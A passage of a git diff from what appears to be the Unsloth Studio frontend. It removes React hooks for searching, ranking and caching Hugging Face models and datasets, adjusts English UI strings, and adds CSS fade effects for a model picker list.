-  ],
-  audio: [
-    "MrDragonFox/Elise",
-    "keithito/lj_speech",
-    "parler-tts/mls_eng_10k",
-    "parler-tts/libritts-r-filtered-speaker-descriptions",
-    "openslr/librispeech_asr",
-    "MikhailT/hifi-tts",
-    "mozilla-foundation/common_voice_17_0",
-    "facebook/voxpopuli",
-    "speechcolab/gigaspeech",
-    "kth-tmh/vctk",
-    "Wenetspeech4TTS/WenetSpeech4TTS",
-  ],
-  embeddings: [
-    "electroglyph/technical",
-  ],
-};
-
-const INCOMPATIBLE_TASKS_BY_MODEL: Record<ModelType, Set<string>> = {
-  text: new Set([
-    "text-to-image",
-    "image-to-image",
-    "image-to-video",
-    "text-to-video",
-    "image-classification",
-    "image-feature-extraction",
-    "image-text-to-image",
-    "zero-shot-image-classification",
-    "keypoint-detection",
-    "object-detection",
-    "image-segmentation",
-    "depth-estimation",
-    "text-to-speech",
-    "text-to-audio",
-    "audio-classification",
-    "audio-to-audio",
-    "automatic-speech-recognition",
-    "video-classification",
-    "visual-document-retrieval",
-  ]),
-  vision: new Set([
-    "text-to-speech",
-    "text-to-audio",
-    "audio-classification",
-    "audio-to-audio",
-    "automatic-speech-recognition",
-  ]),
-  audio: new Set([
-    "text-to-image",
-    "image-to-image",
-    "image-to-video",
-    "text-to-video",
-    "image-classification",
-    "image-feature-extraction",
-    "image-text-to-image",
-    "zero-shot-image-classification",
-    "keypoint-detection",
-    "object-detection",
-    "image-segmentation",
-    "depth-estimation",
-    "video-classification",
-    "visual-document-retrieval",
-  ]),
-  embeddings: new Set([
-    "text-to-image",
-    "image-to-image",
-    "image-to-video",
-    "text-to-video",
-    "image-classification",
-    "image-feature-extraction",
-    "image-text-to-image",
-    "zero-shot-image-classification",
-    "keypoint-detection",
-    "object-detection",
-    "image-segmentation",
-    "depth-estimation",
-    "text-to-speech",
-    "text-to-audio",
-    "audio-classification",
-    "audio-to-audio",
-    "automatic-speech-recognition",
-    "video-classification",
-    "visual-document-retrieval",
-  ]),
-};
-
-function isPretrainingDataset(dataset: HfDatasetResult): boolean {
-  if (dataset.plainTags.some((t) => PRETRAINING_PLAIN_TAGS.has(t.toLowerCase())))
-    return true;
-  if (
-    dataset.sizeCategory &&
-    PRETRAINING_SIZE_CATEGORIES.has(dataset.sizeCategory)
-  )
-    return true;
-  return false;
-}
-
-function rankDatasetRelevance(
-  dataset: HfDatasetResult,
-  modelType: ModelType,
-): DatasetRelevance {
-  if (isPretrainingDataset(dataset)) return "incompatible";
-
-  // Keep OCR / vision-text corpora out of non-vision defaults.
-  if (modelType !== "vision") {
-    if (
-      dataset.plainTags.some((t) => OCR_PLAIN_TAGS.has(t.toLowerCase())) ||
-      dataset.taskCategories.some((t) => OCR_OR_VISION_TEXT_TASKS.has(t))
-    ) {
-      return "incompatible";
-    }
-  }
-
-  const { taskCategories } = dataset;
-  if (taskCategories.length === 0) return "neutral";
-
-  const boosted = BOOSTED_TASK_CATEGORIES[modelType];
-  const modelIncompat = INCOMPATIBLE_TASKS_BY_MODEL[modelType];
-
-  if (taskCategories.some((t) => boosted.has(t))) return "boosted";
-  if (
-    taskCategories.every(
-      (t) => INCOMPATIBLE_TASKS_ALL_MODELS.has(t) || modelIncompat.has(t),
-    )
-  )
-    return "incompatible";
-  return "neutral";
-}
-
-function isOcrOrVisionTextDataset(dataset: HfDatasetResult): boolean {
-  return (
-    dataset.plainTags.some((t) => OCR_PLAIN_TAGS.has(t.toLowerCase())) ||
-    dataset.taskCategories.some((t) => OCR_OR_VISION_TEXT_TASKS.has(t))
-  );
-}
-
-function toCuratedDatasetResult(id: string): HfDatasetResult {
-  // Curated defaults are id-only. Adapts them to the shared result shape used
-  // by downstream combobox/ranking code without extra HF requests.
-  return {
-    id,
-    downloads: 0,
-    likes: 0,
-    taskCategories: [],
-    plainTags: [],
-  };
-}
-
-export function useHfDatasetSearch(
-  query: string,
-  options?: { modelType?: ModelType | null; accessToken?: string; enabled?: boolean },
-) {
-  const { modelType, accessToken, enabled = true } = options ?? {};
-  const hasQuery = query.trim().length > 0;
-  const useCuratedOnly = !hasQuery && !!modelType;
-  const createIter = useCallback(
-    () => {
-      // Use curated defaults for typed model flows only.
-      if (useCuratedOnly) {
-        return (async function* empty() {})() as AsyncGenerator<unknown>;
-      }
-      return listDatasets({
-        search: hasQuery ? { query } : {},
-        additionalFields: ["cardData", "tags"],
-        fetch: withTrendingSort,
-        ...(accessToken ? { credentials: { accessToken } } : {}),
-      }) as AsyncGenerator<unknown>;
-    },
-    [useCuratedOnly, hasQuery, query, accessToken],
-  );
-
-  const search = useHfPaginatedSearch(createIter, mapDataset, { enabled });
-
-  const results = useMemo(() => {
-    if (!enabled) return [];
-    const hideOcr = modelType !== "vision";
-    const baseResults = hideOcr
-      ? search.results.filter((ds) => !isOcrOrVisionTextDataset(ds))
-      : search.results;
-
-    if (!hasQuery && modelType) {
-      const curatedIds = CURATED_EMPTY_QUERY_DATASET_IDS[modelType] ?? [];
-      return curatedIds.map(toCuratedDatasetResult);
-    }
-
-    if (!modelType) return baseResults;
-
-    const boosted: HfDatasetResult[] = [];
-    const neutral: HfDatasetResult[] = [];
-
-    for (const ds of baseResults) {
-      const relevance = rankDatasetRelevance(ds, modelType);
-      if (relevance === "boosted") boosted.push(ds);
-      else if (relevance !== "incompatible") neutral.push(ds);
-    }
-
-    return [...boosted, ...neutral];
-  }, [enabled, search.results, modelType, query]);
-
-  return { ...search, results };
-}
diff --git a/studio/frontend/src/hooks/use-hf-model-search.ts b/studio/frontend/src/hooks/use-hf-model-search.ts
deleted file mode 100644
index ba52b654b8..0000000000
--- a/studio/frontend/src/hooks/use-hf-model-search.ts
+++ /dev/null
@@ -1,348 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import type { PipelineType } from "@huggingface/hub";
-import { listModels } from "@huggingface/hub";
-import { type CachedResult, cachedModelInfo, primeCacheFromListing } from "@/lib/hf-cache";
-import { useCallback, useMemo } from "react";
-import { useHfPaginatedSearch } from "./use-hf-paginated-search";
-import { usePlatformStore } from "@/config/env";
-
-export interface HfModelResult {
-  id: string;
-  downloads: number;
-  likes: number;
-  totalParams?: number;
-  estimatedSizeBytes?: number;
-  isGguf: boolean;
-}
-
-/** Tags to exclude on GPU (CUDA/ROCm) — MLX models won't load on GPU. */
-const EXCLUDED_TAGS_GPU = new Set([
-  "gptq",
-  "awq",
-  "exl2",
-  "mlx",
-  "onnx",
-  "openvino",
-  "coreml",
-  "tflite",
-  "ctranslate2",
-]);
-
-/** Tags to exclude on MLX (Mac) — GPU-only quant formats won't load on MLX. */
-const EXCLUDED_TAGS_MLX = new Set([
-  "gptq",
-  "awq",
-  "exl2",
-  "onnx",
-  "openvino",
-  "coreml",
-  "tflite",
-  "ctranslate2",
-]);
-
-// Embedding / sentence-transformer models ship onnx/openvino as extra
-// export formats, so the tag check above must not exclude them.
-const EMBEDDING_TAGS = new Set([
-  "sentence-transformers",
-  "feature-extraction",
-]);
-
-function withPopularitySort(
-  input: Parameters<typeof fetch>[0],
-  init?: Parameters<typeof fetch>[1],
-): ReturnType<typeof fetch> {
-  const rawUrl =
-    typeof input === "string"
-      ? input
-      : input instanceof URL
-        ? input.toString()
-        : input.url;
-  const url = new URL(rawUrl);
-
-  if (!url.searchParams.has("sort")) {
-    url.searchParams.set("sort", "downloads");
-  }
-  if (!url.searchParams.has("direction")) {
-    url.searchParams.set("direction", "-1");
-  }
-
-  return fetch(url, init);
-}
-
-/** Bytes per parameter for each dtype. */
-const DTYPE_BYTES: Record<string, number> = {
-  F64: 8, F32: 4, F16: 2, BF16: 2,
-  I64: 8, I32: 4, I16: 2, I8: 1, U8: 1,
-  // Quantized types (4-bit)
-  NF4: 0.5, FP4: 0.5, INT4: 0.5, GPTQ: 0.5,
-};
-
-function estimateSizeFromDtypes(
-  params: Record<string, number> | undefined,
-): number | undefined {
-  if (!params) return undefined;
-  let total = 0;
-  for (const [dtype, count] of Object.entries(params)) {
-    const bpp = DTYPE_BYTES[dtype.toUpperCase()] ?? 2; // default BF16
-    total += count * bpp;
-  }
-  return total > 0 ? total : undefined;
-}
-
-function makeMapModel(excludeGguf: boolean, excludedTags: Set<string>) {
-  return (raw: unknown): HfModelResult | null => {
-    const m = raw as {
-      name: string;
-      downloads: number;
-      likes: number;
-      safetensors?: { total: number; parameters?: Record<string, number> };
-      tags?: string[];
-    };
-    const isEmbedding = m.tags?.some((t) => EMBEDDING_TAGS.has(t));
-    if (!isEmbedding && m.tags?.some((t) => excludedTags.has(t))) {
-      return null;
-    }
-    const isGguf =
-      Boolean(m.tags?.some((tag) => tag.toLowerCase() === "gguf")) ||
-      /-GGUF(?:$|-)/i.test(m.name);
-    if (excludeGguf && isGguf) {
-      return null;
-    }
-    return {
-      id: m.name,
-      downloads: m.downloads,
-      likes: m.likes,
-      totalParams: m.safetensors?.total,
-      estimatedSizeBytes: estimateSizeFromDtypes(m.safetensors?.parameters),
-      isGguf,
-    };
-  };
-}
-
-/** Number of unsloth results to pull up-front before yielding general results. */
-const UNSLOTH_PREFETCH = 20;
-/** Fewer unsloth results before the pinned model when a publisher is searched. */
-const UNSLOTH_PINNED_PREFETCH = 4;
-/** Matches a valid "owner/repo" identifier (exactly two non-empty segments). */
-const PUBLISHER_RE = /^([^/\s]+)\/([^/\s]+)$/;
-
-/**
- * Prime the hf-cache from a listModels result. For public models, also
- * prime the anonymous slot so the VRAM hook gets cache hits without
- * re-fetching. Gated/private models are cached only under the caller's
- * token to avoid auth leakage.
- */
-function primeFromListing(
-  name: string,
-  accessToken: string | undefined,
-  model: unknown,
-): void {
-  const data = model as CachedResult;
-  primeCacheFromListing(name, accessToken, data);
-  if (accessToken && !data.private && !data.gated) {
-    primeCacheFromListing(name, undefined, data);
-  }
-}
-
-/**
- * Creates a merged async generator that yields unsloth-owned models first,
- * then general results (with deduplication).
- */
-async function* mergedModelIterator(
-  query: string,
-  task?: PipelineType,
-  accessToken?: string,
-  pinnedId?: string,
-): AsyncGenerator<unknown> {
-  const common = {
-    additionalFields: ["safetensors", "tags"] as ("safetensors" | "tags")[],
-    fetch: withPopularitySort,
-    ...(accessToken ? { credentials: { accessToken } } : {}),
-  };
-
-  // Fire both iterators immediately (parallel network requests on first pull)
-  const unslothIter = listModels({
-    search: { query, owner: "unsloth", ...(task ? { task } : {}) },
-    ...common,
-  });
-  const generalIter = listModels({
-    search: { query, ...(task ? { task } : {}) },
-    ...common,
-  });
-
-  // Start the pinned lookup now so it runs in parallel with Phase 1
-  // instead of blocking Phase 2.
-  const pinnedPromise = pinnedId
-    ? cachedModelInfo({
-        name: pinnedId,
-        additionalFields: ["safetensors", "tags"],
-        ...(accessToken ? { credentials: { accessToken } } : {}),
-      }).catch(() => null)
-    : null;
-
-  const limit = pinnedId ? UNSLOTH_PINNED_PREFETCH : UNSLOTH_PREFETCH;
-
-  // Phase 1: pull & yield unsloth models first
-  const seen = new Set<string>();
-  let count = 0;
-  for await (const model of unslothIter) {
-    const m = model as { name?: string };
-    if (m.name) {
-      seen.add(m.name);
-      primeFromListing(m.name, accessToken, model);
-    }
-    yield model;
-    count++;
-    if (count >= limit) break;
-  }
-
-  // Phase 1b: yield the pinned (original publisher) model before general results
-  if (pinnedId && !seen.has(pinnedId) && pinnedPromise) {
-    const pinned = await pinnedPromise;
-    if (pinned) {
-      // Record both the raw input and HF's canonical name so phase 2 dedupe
-      // works across casing (e.g. "OpenAI/..." vs HF's "openai/...").
-      seen.add(pinnedId);
-      const canonicalName = (pinned as { name?: string }).name;
-      if (canonicalName && canonicalName !== pinnedId) {
-        seen.add(canonicalName);
-      }
-      yield pinned;
-    }
-  }
-
-  // Phase 2: yield general results, skipping already-seen models
-  for await (const model of generalIter) {
-    const m = model as { name?: string };
-    if (m.name && seen.has(m.name)) continue;
-    if (m.name) {
-      primeFromListing(m.name, accessToken, model);
-    }
-    yield model;
-  }
-}
-
-/**
- * Creates an async generator that yields priority models (fetched individually
- * via modelInfo for full metadata), then the general unsloth listing.
- */
-async function* priorityThenListingIterator(
-  priorityIds: readonly string[],
-  task?: PipelineType,
-  accessToken?: string,
-): AsyncGenerator<unknown> {
-  const common = {
-    additionalFields: ["safetensors", "tags"] as ("safetensors" | "tags")[],
-    fetch: withPopularitySort,
-    ...(accessToken ? { credentials: { accessToken } } : {}),
-  };
-
-  // Phase 1: fetch priority models in parallel via modelInfo
-  const seen = new Set<string>();
-  const settled = await Promise.allSettled(
-    priorityIds.map((id) =>
-      cachedModelInfo({
-        name: id,
-        additionalFields: ["safetensors", "tags"],
-        ...(accessToken ? { credentials: { accessToken } } : {}),
-      }),
-    ),
-  );
-  for (const result of settled) {
-    if (result.status === "fulfilled") {
-      const m = result.value as { name?: string; pipeline_tag?: string };
-      // Skip models that don't match the task filter.
-      if (task && m.pipeline_tag && m.pipeline_tag !== task) continue;
-      if (m.name) seen.add(m.name);
-      yield result.value;
-    }
-  }
-
-  // Phase 2: yield general unsloth listing, skipping already-seen
-  const generalIter = listModels({
-    search: { owner: "unsloth", ...(task ? { task } : {}) },
-    ...common,
-  });
-  for await (const model of generalIter) {
-    const m = model as { name?: string };
-    if (m.name && seen.has(m.name)) continue;
-    if (m.name) {
-      primeFromListing(m.name, accessToken, model);
-    }
-    yield model;
-  }
-}
-
-export function useHfModelSearch(
-  query: string,
-  options?: {
-    task?: PipelineType;
-    accessToken?: string;
-    excludeGguf?: boolean;
-    priorityIds?: readonly string[];
-  },
-) {
-  const { task, accessToken, excludeGguf = false, priorityIds } = options ?? {};
-
-  // Detect the publisher once, shared by the iterator factory and the
-  // secondary sort gate (avoids duplicating the regex + logic).
-  const { isPublisherQuery, searchQuery, pinnedId, trimmed } = useMemo(() => {
-    const t = query.trim();
-    const m = PUBLISHER_RE.exec(t);
-    const is = !!m && m[1].toLowerCase() !== "unsloth";
-    return {
-      isPublisherQuery: is,
-      searchQuery: is ? m![2] : t,
-      pinnedId: is ? t : undefined,
-      trimmed: t,
-    };
-  }, [query]);
-
-  const createIter = useCallback(
-    () => {
-      if (!trimmed) {
-        // No query: priority models first (full metadata), then general unsloth.
-        if (priorityIds && priorityIds.length > 0) {
-          return priorityThenListingIterator(priorityIds, task, accessToken) as AsyncGenerator<unknown>;
-        }
-        return listModels({
-          search: { owner: "unsloth", ...(task ? { task } : {}) },
-          additionalFields: ["safetensors", "tags"],
-          fetch: withPopularitySort,
-          ...(accessToken ? { credentials: { accessToken } } : {}),
-        }) as AsyncGenerator<unknown>;
-      }
-      // Typed query: disable the task filter so explicitly searched models
-      // appear even with wrong/missing HF task metadata. For a valid
-      // "owner/repo" query, strip the org prefix so unsloth variants
-      // surface, then pin the original publisher model after a small batch.
-      // unsloth-owned queries are left as-is for the full prefetch + sort.
-      return mergedModelIterator(searchQuery, undefined, accessToken, pinnedId) as AsyncGenerator<unknown>;
-    },
-    [trimmed, searchQuery, pinnedId, task, accessToken, priorityIds],
-  );
-
-  const deviceType = usePlatformStore((s) => s.deviceType);
-  const excludedTags = deviceType === "mac" ? EXCLUDED_TAGS_MLX : EXCLUDED_TAGS_GPU;
-  const mapModel = useMemo(() => makeMapModel(excludeGguf, excludedTags), [excludeGguf, excludedTags]);
-  const search = useHfPaginatedSearch(createIter, mapModel);
-
-  // Secondary sort: unsloth models always float to the top. Skip for a
-  // specific non-unsloth publisher query (e.g. "openai/gpt-oss-20b") --
-  // the iterator already handles pinned ordering there.
-  const results = useMemo(
-    () =>
-      isPublisherQuery
-        ? search.results
-        : [...search.results].sort((a, b) => {
-            const aFirst = a.id.startsWith("unsloth/") ? 0 : 1;
-            const bFirst = b.id.startsWith("unsloth/") ? 0 : 1;
-            return aFirst - bFirst;
-          }),
-    [search.results, isPublisherQuery],
-  );
-
-  return { ...search, results };
-}
diff --git a/studio/frontend/src/hooks/use-hf-paginated-search.ts b/studio/frontend/src/hooks/use-hf-paginated-search.ts
deleted file mode 100644
index a2ffbad541..0000000000
--- a/studio/frontend/src/hooks/use-hf-paginated-search.ts
+++ /dev/null
@@ -1,134 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { useCallback, useEffect, useRef, useState } from "react";
-
-interface HfPaginatedState<T> {
-  results: T[];
-  isLoading: boolean;
-  isLoadingMore: boolean;
-  hasMore: boolean;
-  error: string | null;
-}
-
-const INITIAL: HfPaginatedState<never> = {
-  results: [],
-  isLoading: false,
-  isLoadingMore: false,
-  hasMore: false,
-  error: null,
-};
-const BATCH = 20;
-
-async function pullBatch<T>(
-  iter: AsyncGenerator<unknown>,
-  mapItem: (raw: unknown) => T | null,
-  size: number,
-) {
-  const items: T[] = [];
-  while (items.length < size) {
-    const result = await iter.next();
-    if (result.done) {
-      return { items, done: true };
-    }
-    const mapped = mapItem(result.value);
-    if (mapped !== null) {
-      items.push(mapped);
-    }
-  }
-  return { items, done: false };
-}
-
-export function useHfPaginatedSearch<T>(
-  createIter: () => AsyncGenerator<unknown>,
-  mapItem: (raw: unknown) => T | null,
-  options?: { enabled?: boolean },
-): HfPaginatedState<T> & { fetchMore: () => void } {
-  const enabled = options?.enabled ?? true;
-  const [state, setState] = useState<HfPaginatedState<T>>(
-    INITIAL as HfPaginatedState<T>,
-  );
-  const stateRef = useRef(state);
-  useEffect(() => {
-    stateRef.current = state;
-  }, [state]);
-
-  const iterRef = useRef<AsyncGenerator<unknown> | null>(null);
-  const versionRef = useRef(0);
-
-  useEffect(() => {
-    const v = ++versionRef.current;
-    iterRef.current = null;
-
-    if (!enabled) {
-      setState(INITIAL as HfPaginatedState<T>);
-      return;
-    }
-
-    setState({
-      ...(INITIAL as HfPaginatedState<T>),
-      isLoading: true,
-    });
-
-    const iter = createIter();
-    iterRef.current = iter;
-
-    pullBatch(iter, mapItem, BATCH)
-      .then(({ items, done }) => {
-        if (versionRef.current !== v) {
-          return;
-        }
-        setState({
-          results: items,
-          isLoading: false,
-          isLoadingMore: false,
-          hasMore: !done,
-          error: null,
-        });
-      })
-      .catch((err) => {
-        if (versionRef.current !== v) {
-          return;
-        }
-        setState({
-          results: [],
-          isLoading: false,
-          isLoadingMore: false,
-          hasMore: false,
-          error: err instanceof Error ? err.message : "Search failed",
-        });
-      });
-  }, [createIter, mapItem, enabled]);
-
-  const fetchMore = useCallback(() => {
-    const iter = iterRef.current;
-    const { isLoading, isLoadingMore, hasMore } = stateRef.current;
-    if (!iter || isLoading || isLoadingMore || !hasMore) {
-      return;
-    }
-
-    const v = versionRef.current;
-    setState((prev) => ({ ...prev, isLoadingMore: true }));
-
-    pullBatch(iter, mapItem, BATCH)
-      .then(({ items, done }) => {
-        if (versionRef.current !== v) {
-          return;
-        }
-        setState((prev) => ({
-          ...prev,
-          results: [...prev.results, ...items],
-          isLoadingMore: false,
-          hasMore: !done,
-        }));
-      })
-      .catch(() => {
-        if (versionRef.current !== v) {
-          return;
-        }
-        setState((prev) => ({ ...prev, isLoadingMore: false, hasMore: false }));
-      });
-  }, [mapItem]);
-
-  return { ...state, fetchMore };
-}
diff --git a/studio/frontend/src/hooks/use-infinite-scroll.ts b/studio/frontend/src/hooks/use-infinite-scroll.ts
deleted file mode 100644
index db8dc33490..0000000000
--- a/studio/frontend/src/hooks/use-infinite-scroll.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { useEffect, useRef } from "react";
-
-export function useInfiniteScroll(fetchMore: () => void, _itemCount: number) {
-  const scrollRef = useRef<HTMLDivElement>(null);
-  const sentinelRef = useRef<HTMLDivElement>(null);
-
-  useEffect(() => {
-    const el = sentinelRef.current;
-    if (!el) {
-      return;
-    }
-    const obs = new IntersectionObserver(
-      ([e]) => {
-        if (e.isIntersecting) {
-          fetchMore();
-        }
-      },
-      { threshold: 0, root: scrollRef.current },
-    );
-    obs.observe(el);
-    return () => obs.disconnect();
-  }, [fetchMore]);
-
-  return { scrollRef, sentinelRef };
-}
diff --git a/studio/frontend/src/hooks/use-recommended-model-vram.ts b/studio/frontend/src/hooks/use-recommended-model-vram.ts
deleted file mode 100644
index 39d58fe600..0000000000
--- a/studio/frontend/src/hooks/use-recommended-model-vram.ts
+++ /dev/null
@@ -1,63 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { cachedModelInfo } from "@/lib/hf-cache";
-import { useEffect, useState } from "react";
-
-/**
- * Fetches Hugging Face model info (safetensors total param count) for a list of
- * model IDs. Used to show VRAM fit (FIT / TIGHT / OOM) for recommended/default
- * models in the chat model dropdown.
- */
-export function useRecommendedModelVram(ids: string[]) {
-  const [paramCountById, setParamCountById] = useState<Map<string, number>>(
-    new Map(),
-  );
-  const [isLoading, setIsLoading] = useState(false);
-
-  const stableKey = [...ids].filter(Boolean).sort().join(",");
-
-  useEffect(() => {
-    const stableIds = stableKey ? stableKey.split(",") : [];
-    if (stableIds.length === 0) {
-      setParamCountById(new Map());
-      setIsLoading(false);
-      return;
-    }
-    let canceled = false;
-    void (async () => {
-      setIsLoading(true);
-      const next = new Map<string, number>();
-      await Promise.all(
-        stableIds.map(async (id) => {
-          if (canceled) {
-            return;
-          }
-          try {
-            const info = await cachedModelInfo({
-              name: id,
-              additionalFields: ["safetensors"],
-            });
-            const total = info.safetensors?.total;
-            if (typeof total === "number" && total > 0) {
-              next.set(id, total);
-            }
-          } catch {
-            // Model not on HF or no safetensors; skip
-          }
-        }),
-      );
-      if (!canceled) {
-        // Merge with previous state so VRAM badges for already-visible models
-        // persist while newly-visible models are still loading.
-        setParamCountById((prev) => new Map([...prev, ...next]));
-        setIsLoading(false);
-      }
-    })();
-    return () => {
-      canceled = true;
-    };
-  }, [stableKey]);
-
-  return { paramCountById, isLoading };
-}
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 68590ae7ae..214767bec0 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -123,7 +123,7 @@ export const en = {
         sectionTitle: "Notifications",
         showLlamaUpdates: "llama.cpp update notifications",
         showLlamaUpdatesDescription:
-          "Notify when a newer llama.cpp build is available. Turn off if you only train.",
+          "Notify when a newer llama.cpp build is available to run new models. Turn off if you only train.",
       },
       gettingStarted: "Getting started",
       startOnboarding: "Start onboarding",
@@ -133,8 +133,7 @@ export const en = {
       uploads: {
         sectionTitle: "Uploads",
         maxUploadSize: "Training dataset upload cap",
-        maxUploadSizeDescription:
-          "Default is {defaultSize} MB.",
+        maxUploadSizeDescription: "Default is {defaultSize} MB.",
       },
       storage: {
         sectionTitle: "Storage",
@@ -222,8 +221,7 @@ export const en = {
       },
       data: "Data",
       exportHistory: "Export chat history",
-      exportHistoryDescription:
-        "Download all chats and messages as JSON.",
+      exportHistoryDescription: "Download all chats and messages as JSON.",
       exportAction: "Export",
       exportingAction: "Exporting...",
       exportConversations: "Export Recents and Projects",
@@ -283,8 +281,7 @@ export const en = {
     },
     apiKeys: {
       title: "API",
-      description:
-        "Access Unsloth via the OpenAI-compatible API.",
+      description: "Access Unsloth via the OpenAI-compatible API.",
       readDocs: "Read the API docs",
       noAccess: "No API access yet.",
       newBadge: "New",
@@ -340,8 +337,7 @@ export const en = {
     },
     about: {
       title: "About",
-      description:
-        "Docs, release notes, feedback, and build info.",
+      description: "Docs, release notes, feedback, and build info.",
       studioVersion: "Unsloth Version",
       packageVersion: "Package Version",
       llamaCppVersion: "llama.cpp Version",
@@ -360,8 +356,7 @@ export const en = {
         sectionTitle: "License",
         studioLabel: "Unsloth Studio",
         studioLicense: "AGPL-3.0",
-        studioDescription:
-          "Open source under the GNU AGPL v3.0.",
+        studioDescription: "Open source under the GNU AGPL v3.0.",
         libraryLabel: "Unsloth Core",
         libraryLicense: "Apache-2.0",
         libraryDescription: "Licensed under Apache 2.0.",
@@ -385,7 +380,8 @@ export const en = {
         installCommandWindows: "Windows install command",
         localInstallDetected:
           "Local install detected. Update from your original checkout to avoid replacing it with PyPI.",
-        pullThenUpdate: "Pull the latest changes, then run the local installer:",
+        pullThenUpdate:
+          "Pull the latest changes, then run the local installer:",
         gitPullCommand: "git pull command",
         localInstallerCommand: "local installer command",
         sourceInstallDetected:
@@ -545,7 +541,8 @@ export const en = {
       subset: "Subset",
       s3: {
         title: "S3 Configuration",
-        description: "Load .parquet, .json, .jsonl, or .csv datasets from Amazon S3",
+        description:
+          "Load .parquet, .json, .jsonl, or .csv datasets from Amazon S3",
         bucket: "Bucket Name",
         bucketPlaceholder: "my-training-data-bucket",
         region: "AWS Region",
@@ -558,12 +555,14 @@ export const en = {
         secretAccessKey: "Secret Access Key",
         secretAccessKeyPlaceholder: "Your AWS secret access key",
         useIamRole: "Use IAM Role",
-        useIamRoleTooltip: "Use IAM role credentials instead of access keys (recommended for EC2/SageMaker)",
+        useIamRoleTooltip:
+          "Use IAM role credentials instead of access keys (recommended for EC2/SageMaker)",
         testConnection: "Test Connection",
         connectionSuccess: "Successfully connected to S3 bucket",
         connectionFailed: "Failed to connect to S3 bucket",
         comingSoon: "S3 integration coming soon",
-        comingSoonDescription: "S3 dataset loading requires boto3. This feature is under development.",
+        comingSoonDescription:
+          "S3 dataset loading requires boto3. This feature is under development.",
       },
     },
     params: {
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index 32733c6ad7..b515c907db 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -45,6 +45,38 @@
 		height: 40px;
 		background: linear-gradient(to top, var(--sidebar), transparent);
 	}
+	/* Model picker list: once scrolled, the top edge fades so rows dissolve as
+	   they pass under the pinned search / tab bar. */
+	.model-list-scroll.is-scrolled {
+		-webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 14px);
+		mask-image: linear-gradient(to bottom, transparent 0, #000 14px);
+	}
+	/* Bottom edge fades while more rows sit below the fold. */
+	.model-list-scroll.is-bottom-faded {
+		-webkit-mask-image: linear-gradient(
+			to bottom,
+			#000 calc(100% - 16px),
+			transparent
+		);
+		mask-image: linear-gradient(to bottom, #000 calc(100% - 16px), transparent);
+	}
+	/* Both edges fade when scrolled with rows above and below. */
+	.model-list-scroll.is-scrolled.is-bottom-faded {
+		-webkit-mask-image: linear-gradient(
+			to bottom,
+			transparent 0,
+			#000 14px,
+			#000 calc(100% - 16px),
+			transparent
+		);
+		mask-image: linear-gradient(
+			to bottom,
+			transparent 0,
+			#000 14px,
+			#000 calc(100% - 16px),
+			transparent
+		);
+	}
 	/* RAG chip strip: sidebar-style bottom fade while more chips sit below
 	   the scroll fold (JS-toggled). */
 	.rag-docs-bottom-fade {
@@ -952,12 +984,14 @@
 	/* Model selector: drop the inset edge ring, keep the soft drop shadow.
 	   Pin --radius to the light value so the corners match in both themes. */
 	.unsloth-model-selector-menu.menu-soft-surface {
-		--radius: 1.1rem;
+		--radius: 1.25rem;
 		box-shadow: 0 var(--menu-soft-offset-y) var(--menu-soft-blur)
 			var(--menu-soft-spread) var(--menu-soft-shadow);
 	}
 
 	.dark .unsloth-model-selector-menu.menu-soft-surface {
+		/* Match the left sidebar background. */
+		background-color: var(--sidebar);
 		box-shadow: none;
 	}
 
diff --git a/studio/frontend/src/lib/hf-cache.ts b/studio/frontend/src/lib/hf-cache.ts
deleted file mode 100644
index eebb3ce4b2..0000000000
--- a/studio/frontend/src/lib/hf-cache.ts
+++ /dev/null
@@ -1,162 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { type ModelEntry, modelInfo } from "@huggingface/hub";
-
-/**
- * Thin caching + throttling layer over `modelInfo()` from @huggingface/hub.
- *
- * - TTL cache: avoids re-fetching the same model within CACHE_TTL_MS
- * - In-flight dedup: concurrent callers for the same key share one request
- * - Concurrency limiter: at most MAX_CONCURRENT requests in parallel;
- *   the rest queue and fire as slots free up
- */
-
-const CACHE_TTL_MS = 5 * 60 * 1000; // 5 minutes
-// HF API allows bursts but rate-limits sustained traffic; 3 parallel requests
-// keeps startup snappy while staying well under the observed throttle threshold.
-const MAX_CONCURRENT = 3;
-
-// ── Cache & in-flight maps ──────────────────────────────────────
-
-// Extend ModelEntry with the fields we always request, so callers avoid
-// unsafe casts to access safetensors/tags.
-export type CachedResult = ModelEntry & {
-  safetensors?: { total?: number; parameters?: Record<string, number> };
-  tags?: string[];
-};
-
-interface CacheEntry {
-  data: CachedResult;
-  ts: number;
-}
-
-const cache = new Map<string, CacheEntry>();
-const inflight = new Map<string, Promise<CachedResult>>();
-
-// ── Concurrency semaphore ───────────────────────────────────────
-
-let active = 0;
-const waiting: Array<() => void> = [];
-
-function acquire(): Promise<void> {
-  if (active < MAX_CONCURRENT) {
-    active++;
-    return Promise.resolve();
-  }
-  return new Promise<void>((resolve) =>
-    waiting.push(() => {
-      active++;
-      resolve();
-    }),
-  );
-}
-
-function release() {
-  active--;
-  const next = waiting.shift();
-  if (next) {
-    next();
-  }
-}
-
-// ── Public API ──────────────────────────────────────────────────
-
-// Always request the superset of fields any consumer needs so a single
-// cache entry covers all callers (e.g. ["safetensors"] and ["safetensors","tags"]).
-const ALL_FIELDS: ("safetensors" | "tags")[] = ["safetensors", "tags"];
-
-function isStale(key: string): boolean {
-  const hit = cache.get(key);
-  if (!hit) return true;
